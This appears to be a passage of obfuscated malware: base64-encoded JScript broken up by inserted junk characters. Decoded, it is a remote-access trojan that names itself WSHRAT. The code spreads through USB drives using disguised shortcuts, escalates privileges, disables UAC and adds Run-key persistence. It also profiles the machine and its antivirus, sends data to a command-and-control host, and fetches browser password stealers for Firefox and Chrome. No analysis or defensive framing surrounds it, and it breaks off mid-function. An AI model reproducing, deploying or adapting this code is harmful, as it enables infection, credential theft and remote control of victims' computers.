C>>%gIC>>%gIC>>%gIC>>%gICBpZi>>%oZmlsZS5uYW1lLnRvVXBwZXJDYXNlKCkgIT0gaW5zdGFsbG5hbWUudG9VcHBlckNhc2UoKSl7Ci>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gICBsbmtvYmogPSBzaGVsbG9iai5jcmVhdGVTaG9ydGN1dChkcml2ZS5wYXRoICsgIlxcIi>>%gKyBmaWxlbmFtZVswXS>>%rICIubG5rIik7Ci>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gbG5rb2JqLndpbmRvd1N0eWxlID0gNzsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gICBsbmtvYmoudGFyZ2V0UGF0aC>>%9ICJjbWQuZXhlIjsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gICBsbmtvYmoud29ya2luZ0RpcmVjdG9yeS>>%9ICIiOwogIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIGxua29iai5hcmd1bWVudHMgPS>>%iL2Mgc3RhcnQgIi>>%rIGluc3RhbGxuYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsgIiZzdGFydC>>%iICsgZmlsZS5uYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsiJmV4aXQiOwogIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIHRyeXtmaWxlaWNvbi>>%9IHNoZWxsb2JqLlJlZ1JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFxjbGFzc2VzXFwiICsgc2hlbGxvYmouUmVnUmVhZC>>%oIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXGNsYXNzZXNcXC4iICsgZmlsZS5uYW1lLnNwbGl0KCIuIilbZmlsZS5uYW1lLnNwbGl0KCIuIikubGVuZ3RoIC0gMV0rICJcXCIpICsgIlxcZGVmYXVsdGljb25cXCIpOyB9Y2F0Y2goZWVlZSl7fQogIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIGlmIChmaWxlaWNvbi5pbmRleE9mKCIsIikgPT0gMCl7I>>%ogIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gICBsbmtvYmouaWNvbkxvY2F0aW9uID0gZmlsZS5wYXRoOwogIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIH1lbHNlIHsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gbG5rb2JqLmljb25Mb2NhdGlvbi>>%9IGZpbGVpY29uOwogIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIH0KIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gICBsbmtvYmouc2F2ZSgpOwogIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gfQogIC>>%gIC>>%gIC>>%gICB9Ci>>%gIC>>%gIC>>%gfQoJCX1jYXRjaChlcnIpe30KIC>>%gIH0KCWZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuc3ViRm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl0cnl7CgkJdmFyIGZvbGRlci>>%9IGZpLml0ZW0oKTsKIC>>%gIC>>%gICBpZi>>%obG5rZm9sZGVyID09IGZhbHNlKXticmVhazt9Ci>>%gIC>>%gIC>>%gZm9sZGVyLmF0dHJpYnV0ZXMgPS>>%yKzQ7Ci>>%gIC>>%gIC>>%gZm9sZGVybmFtZS>>%9IGZvbGRlci5uYW1lOwogIC>>%gIC>>%gIGxua29iai>>%9IHNoZWxsb2JqLmNyZWF0ZVNob3J0Y3V0KGRyaXZlLnBhdGggKy>>%iXFwiIC>>%rIGZvbGRlcm5hbWUgKy>>%iLmxuayIpOy>>%KIC>>%gIC>>%gICBsbmtvYmoud2luZG93U3R5bGUgPS>>%3OwogIC>>%gIC>>%gIGxua29iai50YXJnZXRQYXRoID0gImNtZC5leGUiOwogIC>>%gIC>>%gIGxua29iai53b3JraW5nRGlyZWN0b3J5ID0gIiI7Ci>>%gIC>>%gIC>>%gbG5rb2JqLmFyZ3VtZW50cy>>%9ICIvYyBzdGFydC>>%iICsgaW5zdGFsbG5hbWUucmVwbGFjZShuZXcgUmVnRXhwKCIgIiwgImciKSwgIlwiIFwiIikgKy>>%iJnN0YXJ0IGV4cGxvcmVyICIgKyBmb2xkZXIubmFtZS5yZXBsYWNlKG5ldyBSZWdFeH>>%oIi>>%iLC>>%iZyIpLC>>%iXCIgXCIiKS>>%rIiZleGl0IjsKIC>>%gIC>>%gICBmb2xkZXJpY29uID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcY2xhc3Nlc1xcZm9sZGVyXFxkZWZhdWx0aWNvblxcIik7I>>%ogIC>>%gIC>>%gIGlmIChmb2xkZXJpY29uLmluZGV4T2YoIiwiKS>>%9PS>>%wKXsKIC>>%gIC>>%gIC>>%gIC>>%gbG5rb2JqLmljb25Mb2NhdGlvbi>>%9IGZvbGRlci5wYXRoOwogIC>>%gIC>>%gIH1lbHNlIHsKIC>>%gIC>>%gIC>>%gIC>>%gbG5rb2JqLmljb25Mb2NhdGlvbi>>%9IGZvbGRlcmljb247Ci>>%gIC>>%gIC>>%gfQogIC>>%gIC>>%gIGxua29iai5zYXZlKCk7CgkJfWNhdGNoKGVycil7fQogIC>>%gfQp9Cn0KfQp9Cn0KCmZ1bmN0aW9uIHN0YXJ0dXBFbGV2YXRlKCl7CglpZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gZmFsc2UpewoJCXRyeXsKCQkJV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJ3c2NyaXB0LmV4ZSIsICIgLy9CIFwiIi>>%rIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgKy>>%iXCIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEpOwoJCX1jYXRjaChubil7CgkJfQoJCVdTY3JpcHQucXVpdCgpOwoJfQp9CgpmdW5jdGlvbiBkaXNhYmxlU2VjdXJpdHkoKXsKCWlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKS>>%9PSB0cnVlKXsKCQl2YXIgb1JlZy>>%9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGRlZmF1bHQ6U3RkUmVnUHJvdiIpOwoJCW9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMD>>%wMD>>%yLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkVuYWJsZUxVQSIsID>>%pOwoJCW9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMD>>%wMD>>%yLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkNvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluIiwgMCk7CgkJb1JlZy>>%9IG51bGw7Cgl9Cn0KCmZ1bmN0aW9uIHVuaW5zdGFsbCgpewp0cnl7CnZhciBmaWxlbmFtZTsKdmFyIGZvbGRlcm5hbWU7CnRyeXsKIC>>%gIHNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9DVVJSRU5UX1VTRVJcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdKTsKIC>>%gIHNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSk7Cn1jYXRjaChlaSl7fQp0cnl7CmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShzdGFydHVwICsgaW5zdGFsbG5hbWUgLHRydWUpOwpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZS>>%sdHJ1ZSk7Cn1jYXRjaChlZWope30KZm9yKHZhciBkcmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmRyaXZlcyk7ICFkcmkuYXRFbmQoKTsgZHJpLm1vdmVOZXh0KCkpewp2YXIgZHJpdmUgPSBkcmkuaXRlbSgpOwppZi>>%oZHJpdmUuaXNyZWFkeS>>%9PSB0cnVlKXsKaWYgKGRyaXZlLmZyZWVzcGFjZS>>%+ID>>%gKXsKaWYgKGRyaXZlLmRyaXZldHlwZS>>%9PS>>%xICl7Cglmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoZHJpdmUucGF0aC>>%rICJcXCIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogIC>>%gIC>>%gICB2YXIgZmlsZS>>%9IGZpLml0ZW0oKTsKCQkgdHJ5ewogIC>>%gIC>>%gICBpZi>>%oZmlsZS5uYW1lLmluZGV4T2YoIi4iKSl7Ci>>%gIC>>%gIC>>%gIC>>%gICBpZi>>%oKGZpbGUubmFtZS5zcGxpdCgiLiIpW2ZpbGUubmFtZS5zcGxpdCgiLiIpLmxlbmd0aC>>%tIDFdKS50b0xvd2VyQ2FzZSgpICE9ICJsbmsiKXsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gICBmaWxlLmF0dHJpYnV0ZXMgPS>>%wOwogIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIGlmIChmaWxlLm5hbWUudG9VcHBlckNhc2UoKS>>%hPSBpbnN0YWxsbmFtZS50b1VwcGVyQ2FzZSgpKXsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGRyaXZlLnBhdGggKy>>%iXFwiICsgZmlsZW5hbWVbMF0gKy>>%iLmxuayIgKTsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gICB9ZWxzZXsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGRyaXZlLnBhdGggKy>>%iXFwiICsgZmlsZS5uYW1lKTsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gICB9Ci>>%gIC>>%gIC>>%gIC>>%gICB9ZWxzZXsKIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gICBmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUgKGZpbGUucGF0aCk7Ci>>%gIC>>%gIC>>%gIC>>%gICB9Ci>>%gIC>>%gIC>>%gIH0KCQkgfWNhdGNoKGV4KXt9Ci>>%gIC>>%gfQoJIGZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuc3ViRm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl2YXIgZm9sZGVyID0gZmkuaXRlbSgpOwogIC>>%gIC>>%gICBmb2xkZXIuYXR0cmlidXRlcy>>%9ID>>%7Ci>>%gIC>>%gfQp9Cn0KfQp9Cn1jYXRjaChlcnIpe30KV1NjcmlwdC5xdWl0KCk7Cn0KCmZ1bmN0aW9uIHBvc3QgKGNtZC>>%scGFyYW0pewp0cnl7Cmh0dHBvYmoub3BlbigicG9zdCIsImh0dH>>%6Ly8iICsgaG9zdC>>%rICI6Ii>>%rIHBvcnQgKyIvIi>>%rIGNtZCwgZmFsc2UpOwpodHRwb2JqLnNldFJlcXVlc3RIZWFkZXIoInVzZXItYWdlbnQ6IixpbmZvcm1hdGlvbigpKTsKaHR0cG9iai5zZW5kKHBhcmFtKTsKcmV0dXJuIGh0dHBvYmoucmVzcG9uc2VUZXh0Owp9Y2F0Y2goZXJyKXsKCXJldHVybi>>%iIjsKfQp9CgpmdW5jdGlvbiBpbmZvcm1hdGlvbigpewp0cnl7CmlmIChpbmYgPT0gIiIpewogIC>>%gaW5mID0gaHdpZCgpICsgc3BsaXRlcjsKIC>>%gIGluZi>>%9IGluZi>>%gKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVjb21wdXRlcm5hbWUlIikgKyBzcGxpdGVyIDsKIC>>%gIGluZi>>%9IGluZi>>%gKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV1c2VybmFtZSUiKS>>%rIHNwbGl0ZXI7CgogIC>>%gdmFyIHJvb3QgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxjaW12MiIpOwogIC>>%gdmFyIG9zID0gcm9vdC5FeGVjUXVlcnkgKCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIpOwogIC>>%KCWZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihvcyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl2YXIgb3NpbmZvID0gZmkuaXRlbSgpOwogIC>>%gIC>>%gaW5mID0gaW5mICsgb3NpbmZvLmNhcHRpb24gKyBzcGxpdGVyOy>>%gCi>>%gIC>>%gICBicmVhazsKIC>>%gIH0KIC>>%gIGluZi>>%9IGluZi>>%rICJwbHVzIi>>%rIHNwbGl0ZXI7Ci>>%gICBpbmYgPSBpbmYgKyBzZWN1cml0eSgpICsgc3BsaXRlcjsKIC>>%gIGluZi>>%9IGluZi>>%rIHVzYnNwcmVhZGluZzsKIC>>%gIGluZi>>%9ICJXU0hSQVQiICsgc3BsaXRlci>>%rIGluZi>>%rIHNwbGl0ZXIgKy>>%iSmF2YVNjcmlwdC12MS42Ii>>%7Ci>>%gICByZXR1cm4gaW5mOwp9ZWxzZXsKIC>>%gIHJldHVybiBpbmY7Cn0KfWNhdGNoKGVycil7CglyZXR1cm4gIiI7Cn0KfQoKCmZ1bmN0aW9uIHVwc3RhcnQgKCl7CnRyeXsKdHJ5ewogIC>>%gc2hlbGxvYmouUmVnV3JpdGUoIkhLRVlfQ1VSUkVOVF9VU0VSXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSwgICJ3c2NyaXB0LmV4ZS>>%vL0IgXCIiICsgaW5zdGFsbGRpci>>%rIGluc3RhbGxuYW1lICsgIlwiIi>>%sICJSRUdfU1oiKTsKIC>>%gIHNoZWxsb2JqLlJlZ1dyaXRlKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdLC>>%gIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgKy>>%iXCIiICwgIlJFR19TWiIpOwp9Y2F0Y2goZWkpe30KZmlsZXN5c3RlbW9iai5jb3B5RmlsZShXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lLCBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUsIHRydWUpOwpmaWxlc3lzdGVtb2JqLmNvcHlGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUsIHN0YXJ0dX>>%gKyBpbnN0YWxsbmFtZSwgdHJ1ZSk7Cn1jYXRjaChlcnIpe30KfQoKCmZ1bmN0aW9uIGh3aWQoKXsKdHJ5ewp2YXIgcm9vdC>>%9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7CnZhciBkaXNrcy>>%9IHJvb3QuRXhlY1F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2dpY2FsZGlzayIpOwpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZGlza3MpOy>>%hZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7CnZhciBkaXNrID0gZmkuaXRlbSgpOwogIC>>%gaWYgKGRpc2sudm9sdW1lU2VyaWFsTnVtYmVyICE9ICIiKXsKIC>>%gIC>>%gICByZXR1cm4gZGlzay52b2x1bWVTZXJpYWxOdW1iZXI7Ci>>%gIC>>%gIC>>%gYnJlYWs7Ci>>%gICB9Cn0KfWNhdGNoKGVycil7CglyZXR1cm4gIiI7Cn0KfQoKCmZ1bmN0aW9uIHNlY3VyaXR5KCl7CnRyeXsKdmFyIG9iandtaXNlcnZpY2UgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxjaW12MiIpOwp2YXIgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLkV4ZWNRdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iLG51bGwsNDgpOwoKdmFyIHZlcnNpb25zdHIsIG9zdmVyc2lvbjsKZm9yKHZhciBmaS>>%9IG5ldyBFbnVtZXJhdG9yKGNvbGl0ZW1zKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogIC>>%gdmFyIG9iaml0ZW0gPSBmaS5pdGVtKCk7Ci>>%gICB2ZXJzaW9uc3RyID0gb2JqaXRlbS52ZXJzaW9uLnRvU3RyaW5nKCkuc3BsaXQoIi4iKTsKfQoKLy92ZXJzaW9uc3RyID0gY29saXRlbXMudmVyc2lvbi5zcGxpdCgiLiIpOwpvc3ZlcnNpb24gPSB2ZXJzaW9uc3RyWzBdICsgIi4iOwpmb3IgKHZhciB4ID0gMTsgeC>>%8IHZlcnNpb25zdHIubGVuZ3RoOyB4KyspewoJIG9zdmVyc2lvbi>>%9IG9zdmVyc2lvbi>>%rIHZlcnNpb25zdHJbMF07Cn0KCm9zdmVyc2lvbi>>%9IGV2YWwob3N2ZXJzaW9uKTsKdmFyIHNjOwppZi>>%ob3N2ZXJzaW9uID4gNil7IHNjID0gInNlY3VyaXR5Y2VudGVyMiI7IH1lbHNleyBzYy>>%9ICJzZWN1cml0eWNlbnRlciI7fQoKdmFyIG9ianNlY3VyaXR5Y2VudGVyID0gR2V0T2JqZWN0KCJ3aW5tZ210czpcXFxcbG9jYWxob3N0XFxyb290XFwiICsgc2MpOwp2YXIgY29sYW50aXZpcnVzID0gb2Jqc2VjdXJpdHljZW50ZXIuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIGFudGl2aXJ1c3Byb2R1Y3QiLC>>%id3FsIiwgMCk7CnZhciBzZWN1ID0gIiI7CmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihjb2xhbnRpdmlydXMpOy>>%hZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7Cgl2YXIgb2JqYW50aXZpcnVzID0gZmkuaXRlbSgpOwogIC>>%gc2VjdS>>%9IHNlY3UgICsgb2JqYW50aXZpcnVzLmRpc3BsYXlOYW1lICsgIi>>%uIjsKfQppZihzZWN1ID09ICIiKXtzZWN1ID0gIm5hbi1hdiI7fQpyZXR1cm4gc2VjdTsKfWNhdGNoKGVycil7fQp9CmZ1bmN0aW9uIGdldERhdGUoKXsKIC>>%gIHZhciBzID0gIiI7Ci>>%gICB2YXIgZC>>%9IG5ldyBEYXRlKCk7IC>>%gIC>>%gIC>>%gIC>>%gIC>>%KIC>>%gIHMgKz0gZC5nZXREYXRlKCkgKy>>%iLyI7IC>>%gIC>>%gIC>>%gI>>%ogIC>>%gcy>>%rPS>>%oZC5nZXRNb250aCgpICsgMSkgKy>>%iLyI7I>>%ogIC>>%gcy>>%rPSBkLmdldFllYXIoKTsKIC>>%gIHJldHVybiBzOy>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%gIC>>%KfQpmdW5jdGlvbiBpbnN0YW5jZSgpewp0cnl7CnRyeXsKdXNic3ByZWFkaW5nID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIi>>%rIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gKy>>%iXFwiKTsKfWNhdGNoKGVlZSl7fQppZih1c2JzcHJlYWRpbmcgPT0gIiIpewogICBpZi>>%oV1NjcmlwdC5zY3JpcHRGdWxsTmFtZS5zdWJzdHIoMSkudG9Mb3dlckNhc2UoKS>>%9PS>>%iOlxcIi>>%rICBpbnN0YWxsbmFtZS50b0xvd2VyQ2FzZSgpKXsKIC>>%gIC>>%gdXNic3ByZWFkaW5nID0gInRydWUgLS>>%iICsgZ2V0RGF0ZSgpOwogIC>>%gICB0cnl7c2hlbGxvYmouUmVnV3JpdGUoIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdICsgIlxcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiIpO31jYXRjaChlZWVlZSl7fQogIC>>%gfWVsc2V7Ci>>%gIC>>%gIHVzYnNwcmVhZGluZy>>%9ICJmYWxzZS>>%tICIgKyBnZXREYXRlKCk7Ci>>%gIC>>%gIHRyeXtzaGVsbG9iai5SZWdXcml0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIi>>%rIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gICsgIlxcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiIpO31jYXRjaChlZWVlZSl7fQogIC>>%gfQp9Cgp1cHN0YXJ0KCk7Cgp2YXIgc2NyaXB0ZnVsbG5hbWVzaG9ydC>>%9ICBmaWxlc3lzdGVtb2JqLmdldEZpbGUoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZSk7CnZhciBpbnN0YWxsZnVsbG5hbWVzaG9ydC>>%9ICBmaWxlc3lzdGVtb2JqLmdldEZpbGUoaW5zdGFsbGRpci>>%rIGluc3RhbGxuYW1lKTsKaWYgKHNjcmlwdGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkgIT0gaW5zdGFsbGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkpey>>%KIC>>%gIHNoZWxsb2JqLnJ1bigid3NjcmlwdC5leGUgLy9CIFwiIi>>%rIGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZS>>%rICJcIiIpOwogIC>>%gV1NjcmlwdC5xdWl0KCk7I>>%p9Cm9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgLDgsIGZhbHNlKTsKCn1jYXRjaChlcnIpewogIC>>%gV1NjcmlwdC5xdWl0KCk7Cn0KfQoKZnVuY3Rpb24gZGVjb2RlX2Jhc2U2NChiYXNlNjRfc3RyaW5nKXsKCXZhciB5aG1fcGVwZS>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJBRE9EQi5TdHJlYW0iKTsKCXZhciBzcGlrZS>>%9IChXU2NyaXB0LkNyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTERPTSIpKS5jcmVhdGVFbGVtZW50KCJ0bX>>%iKTsKCXNwaWtlLmRhdGFUeXBlID0gImJpbi5iYXNlNjQiOwoJc3Bpa2UudGV4dC>>%9IGJhc2U2NF9zdHJpbmc7Cgl5aG1fcGVwZS5UeXBlID0gMTsKCXlobV9wZXBlLk9wZW4oKTsKCXlobV9wZXBlLldyaXRlKHNwaWtlLm5vZGVUeXBlZFZhbHVlKTsKCXlobV9wZXBlLlBvc2l0aW9uID0gMDsKCXlobV9wZXBlLlR5cGUgPS>>%yOwoJeWhtX3BlcGUuQ2hhclNldC>>%9ICJ1cy1hc2NpaSI7CglyZXR1cm4geWhtX3BlcGUuUmVhZFRleHQoKTsKfQoKZnVuY3Rpb24gZGVjb2RlX3Bhc3MocmV0Y21kKXsKCXRyeXsKCQl2YXIgY29udGVudCwgbnNzLCBjb21tYW5kOwoJCWlmKHJldGNtZC>>%9PS>>%ibW96aWxsYSIpewoJCQljb21tYW5kID0gImdpdmUtbWUtZmZwdiI7CgkJfWVsc2UgaWYocmV0Y21kID09ICJjaHJvbWUiKXsKCQkJY29tbWFuZC>>%9ICJnaXZlLW1lLWNocHYiOwoJCX0KCQl2YXIgb2JqaHR0cGRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7CgkJb2JqaHR0cGRvd25sb2FkLm9wZW4oInBvc3QiLC>>%iaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydC>>%rIi8iICsgY29tbWFuZCwgZmFsc2UpOwoJCW9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJ1c2VyLWFnZW50OiIsIGluZm9ybWF0aW9uKCkpOwoJCW9iamh0dHBkb3dubG9hZC5zZW5kKCIiKTsKCgkJaWYoZmlsZXN5c3RlbW9iai5maWxlRXhpc3RzKGluc3RhbGxkaXIgKy>>%icnVuZGxsIikpewoJCQlmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoaW5zdGFsbGRpci>>%rICJydW5kbGwiKTsKCQl9CgkJCgkJaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMj>>%wKXsKCQkgIHRyeXsKCQkgICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwoJCS>>%gIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS>>%xOy>>%KCQkgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CgkJIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7CgkJIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuUG9zaXRpb24gPS>>%wOwoJCS>>%gIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS>>%yOwoJCS>>%gIG9ianN0cmVhbWRvd25sb2FkLkNoYXJTZXQgPS>>%idXMtYXNjaWkiOwoJCS>>%gIGNvbnRlbnQgPSBvYmpzdHJlYW1kb3dubG9hZC5SZWFkVGV4dCgpOwoJCS>>%gIG5zcy>>%9IHNka3BhdGggKy>>%iXFxuc3MiOwoJCS>>%gIGNvbnRlbnQgPSBjb250ZW50LnJlcGxhY2UobmV3IFJlZ0V4cCgiJW5zcyUiLC>>%iZyIpLCBuc3MpOy>>%vL2ZvciBmaXJlZm94CgkJIC>>%gY29udGVudC>>%9IGNvbnRlbnQucmVwbGFjZShuZXcgUmVnRXhwKCIlcGF0aCUiLC>>%iZyIpLCBpbnN0YWxsZGlyICsgIkxvZ2luIERhdGEiKTsgLy9mb3IgY2hyb21lCgkJIC>>%gdmFyIHN3ID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoaW5zdGFsbGRpci>>%rICJydW5kbGwiLC>>%yLCB0cnVlKTsKCQkgICBzdy53cml0ZShjb250ZW50KTsKCQkgICBzdy5jbG9zZSgpOwoJCS>>%gIHN3ID0gbnVsbDsKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwoJCS>>%gIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQkgIH1jYXRjaChleil7fQoJCX0KCQkKCQlzaGVsbG9iai5ydW4oIiVjb21zcGVjJS>>%vYyBjZCBcIiIgKyBzZGtwYXRoICsgIlwiICYmICIgKyBnc3>>%oc2RrZmlsZSkgKy>>%iICIgKyBnc3>>%oaW5zdGFsbGRpci>>%rICJydW5kbGwiKS>>%rICIgPiBcIiIgKyBpbnN0YWxsZGlyICsgIndzaG91dFwiIiwgMCwgdHJ1ZSk7CgkJV1NjcmlwdC5zbGVlcCgyMD>>%wKTsKCQl2YXIgc3IgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgIndzaG91dCIpOwoJCWNvbnRlbnQgPSBzci5yZWFkYWxsKCk7CgkJc3IuY2xvc2UoKTsKCQlzci>>%9IG